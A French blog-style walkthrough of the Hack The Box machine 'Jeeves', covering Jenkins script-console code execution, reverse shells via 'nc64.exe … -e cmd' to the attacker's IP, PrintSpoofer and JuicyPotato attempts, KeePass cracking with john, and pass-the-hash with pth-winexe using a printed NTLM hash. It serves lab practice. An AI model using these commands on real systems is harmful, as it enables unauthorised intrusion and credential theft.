La partie énumération et foothold initiale était plutôt facile et je suis content de dire que je n’ai pas du tout galéré. Pour l’escalade de privilèges, j’ai lutté un moment avec le privilège SeImpersonate dont j’étais sûr que c’était la voie à suivre : il était attribué, activé, je veux dire, que demander de plus ? Cependant j’ai essayé à la fois PrintSpoofer et JuicyPotato et aucun n’a fonctionné, et je ne me suis même pas donné la peine de chercher ailleurs avant de regarder l’indice parce que j’étais tellement convaincu que ça devait être le chemin. Mais en fait non, il y avait une base de données KeePass assez évidente stockée dans le répertoire de l’utilisateur qu’il fallait déchiffrer, c’était assez simple. Ce qui ne l’était pas, c’était d’obtenir un accès en tant qu’Administrateur. Ni evil-winrm ni aucun des outils impacket n’ont fonctionné et j’étais sûr de rater quelque chose. Et effectivement oui, il me manquait l’intuition complètement aléatoire et impossible qu’il existait un autre outil appelé winexe dont je n’avais jamais entendu parler et qui, pour une raison quelconque, fonctionnait. Après ça, les surprises n’étaient même pas terminées parce que le flag était caché avec un type spécial de fichier Windows appelé Alternate Data Streams (ADS). Ce n’est vraiment pas évident de les lire et, encore une fois, j’ai eu besoin de la vidéo d’IppSec pour comprendre.
Énumération Link to heading
On voit 4 ports ouverts avec 3 services principaux qui tournent :
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
En naviguant sur les sites web, on voit d’abord une page où on peut entrer quelque chose, mais le code source montre que quelle que soit votre saisie, elle redirigera toujours vers une page error.html :
La page d’erreur n’est pas très intéressante, elle montre juste qu’il y a peut-être un serveur Microsoft SQL qui tourne :
En fuzzant le port 50000, on trouve une page :
ffuf -w /home/dvr/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.10.63:50000/FUZZ" -ic
<SNIP>
askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms]
En naviguant dessus, on découvre une instance Jenkins.
La version est 2.87, cependant je ne trouve aucune vulnérabilité spécifique à cette version.
Foothold Link to heading
Je vois que quand on clique sur “Manage Jenkins”, on a ensuite un menu depuis lequel on peut choisir “Script console” :
Je sais que le langage utilisé par Jenkins est Groovy. Sur le site revshells, on peut générer des reverse shells facilement :
Configurez les différentes options entourées en rouge pour que ça fonctionne correctement. Ensuite, démarrez le listener netcat et copiez-collez la longue chaîne qu’il vous donne et vous devriez récupérer un shell :
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.10.63 49676
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke
C:\Users\Administrator\.jenkins>
On a un shell !
Voyons si on a un flag :
C:\Users>cd C:Users/kohsuke/Desktop
cd C:Users/kohsuke/Desktop
C:\Users\kohsuke\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\kohsuke\Desktop
11/03/2017 10:19 PM <DIR> .
11/03/2017 10:19 PM <DIR> ..
11/03/2017 10:22 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 2,630,287,360 bytes free
C:\Users\kohsuke\Desktop>type user.txt
On a un flag !
Escalade de privilèges Link to heading
Fausse piste Link to heading
Fait intéressant, on voit qu’on a des privilèges assez puissants :
C:\Users\kohsuke\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Surtout SeImpersonatePrivilege qu’on peut exploiter de la manière suivante :
C:\Users\kohsuke\Desktop>.\PrintSpoofer64.exe -c "nc64.exe 10.10.14.14 1234 -e cmd"
.\PrintSpoofer64.exe -c "nc64.exe 10.10.14.14 1234 -e cmd"
Pour faire ça, j’ai uploadé PrintSpoofer64.exe et nc64.exe via un transfert de fichier SMB, j’aurais aussi pu le faire en uploadant un shell metasploit qui sont assez réactifs et offrent des fonctionnalités de transfert de fichiers.
Cependant, les commandes ci-dessus ne fonctionnent pas, PrintSpoofer64.exe ne semble pas s’exécuter correctement :
C:\Users\kohsuke\Desktop>.\PrintSpoofer64.exe -h
.\PrintSpoofer64.exe -h
C:\Users\kohsuke\Desktop>somenonexistentfunction.exe -h
somenonexistentfunction.exe -h
'somenonexistentfunction.exe' is not recognized as an internal or external command,
operable program or batch file.
Donc c’est bizarre. Peut-être que cette version de Windows n’est pas compatible avec PrintSpoofer. Essayons JuicyPotato à la place.
.\JuicyPotato.exe -l 1234 -p cmd -a "/c C:\Users\kohsuke\Desktop\nc64.exe 10.10.14.14 1234 -e cmd" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1234
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[-] CreateProcessWithTokenW Failed to create proc: 2
[-] CreateProcessAsUser Failed to create proc: 2
Toujours pas de chance…
Bonne piste Link to heading
C’est là que j’en ai eu marre et que j’ai cherché un indice et j’ai bien fait parce que je ne cherchais vraiment pas dans la bonne direction apparemment. L’indice parle d’une base de données keepass qu’on peut trouver à C:\Users\kohsuke\Documents\CEH.kdbx.
Convertissons la base de données en quelque chose de lisible :
keepass2john CEH.kdbx > CEH.kdbx.hash
Cracklons-la avec john :
john --wordlist=$(locate rockyou.txt) CEH.kdbx.hash
Et on obtient le mot de passe : moonshine1.
Dans cette base de données, on trouve plusieurs hashs, dont un hash NTLM qui a l’air appétissant !
Donc je vous épargne les épreuves, mais en fait la suite impacket ne fonctionnera pas ici pour une raison quelconque, probablement à cause de SMBv1. Mais ensuite il faut utiliser cet outil random que je n’ai jamais vu, ni utilisé, ni dont j’ai entendu parler dans toute ma vie de pentester : winexe. Je le sais non pas parce que j’ai eu une brillante intuition en faisant la box mais parce que j’ai regardé plein de walkthroughs de cette box et ils l’utilisaient tous. J’ai fait de mon mieux, smbexec, psexec, evil-winrm etc. Ça n’a pas fonctionné.
Donc pour installer winexe c’est tellement galère que la meilleure solution que j’ai trouvée est de créer un conteneur docker kali linux et de l’installer dedans.
docker run -it --name kali-pentest kalilinux/kali-rolling bash
$ apt update && apt upgrade -y && apt autoremove -y
$ apt install winexe passing-the-hash
$ exit
docker start kali-pentest
docker exec -it kali-pentest bash
Bon maintenant je peux lancer winexe :
$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd.exe
On obtient un shell :
dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM <DIR> .
11/08/2017 09:05 AM <DIR> ..
12/24/2017 02:51 AM 36 hm.txt
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,615,238,656 bytes free
C:\Windows\system32>type C:\Users\Administrator\Desktop\hm.txt
type C:\Users\Administrator\Desktop\hm.txt
The flag is elsewhere. Look deeper.
Génial. Vraiment génial. Eh ben on a encore du pain sur la planche.
J’ai uploadé Snaffler et winPEAS pour chercher des mots de passe. Je vais faire court encore une fois, ce n’est pas du tout le bon chemin.
L’astuce était de lancer la commande :
C:\Users\Administrator\Desktop>dir /r
dir /r
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2025 07:05 PM <DIR> .
11/08/2025 07:05 PM <DIR> ..
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
04/30/2020 09:56 AM 342,392 streams.exe
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
3 File(s) 343,225 bytes
2 Dir(s) 2,689,642,496 bytes free
Et on trouve cette ligne bizarre : hm.txt:root.txt:$DATA. Ça signifie qu’il y a un fichier root.txt dans un flux de données différent. Windows a l’outil streams.exe pour les lister ou les supprimer (mais apparemment pas pour les lire). C’est inaccessible bien sûr, on ne peut pas juste le taper, donc il faut lancer cette commande bizarre que j’ai lue sur la vidéo d’IppSec :
powershell -c "(Get-Content hm.txt -Stream root.txt)"
Et là on peut voir le flag root. Je n’avais aucune idée de ce genre de flags, c’est comme des liens dynamiques mais pas vraiment.
Je ne suis pas fier de celui-là, je ne l’aurais jamais compris, j’espère que la difficulté venait principalement de paramètres volontairement conçus pour ça et pas d’une incompréhension fondamentale de ma part.